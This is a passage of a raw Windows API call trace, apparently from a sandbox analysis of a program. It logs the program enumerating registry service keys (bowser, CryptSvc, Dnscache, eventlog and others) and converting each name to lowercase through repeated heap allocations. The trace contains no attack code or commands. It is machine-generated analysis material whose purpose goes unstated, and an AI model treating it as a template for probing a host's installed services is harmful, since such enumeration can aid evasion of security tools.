lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.891] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0247.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0247.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0247.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0247.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0247.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.892] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0247.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0247.892] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.892] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.893] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0247.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0247.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.893] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0247.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0247.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.893] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0247.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0247.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.893] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.893] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0247.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.893] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0247.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.894] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0247.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0247.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.894] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0247.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0247.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.894] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0247.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0247.894] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.894] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.894] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0247.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0247.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.895] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0247.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0247.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.895] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0247.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0247.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.895] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0247.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0247.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0247.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.896] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0247.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.951] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0247.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0247.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0247.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0247.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0247.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0247.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0247.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0247.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0247.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0247.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0247.957] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0247.958] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0247.958] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0247.958] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0247.958] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0247.958] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0247.958] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0247.958] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0247.958] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0247.958] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0247.958] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0247.958] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0247.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0247.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0247.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0247.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0247.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0247.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0247.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0247.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0247.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0247.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0247.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0247.959] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0247.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0247.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0247.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0247.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0247.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0247.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0247.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0247.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0247.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0247.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0247.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0247.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0247.960] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0247.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0247.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0247.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0247.961] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0247.961] RegEnumKeyW (in: hKey=0x154, 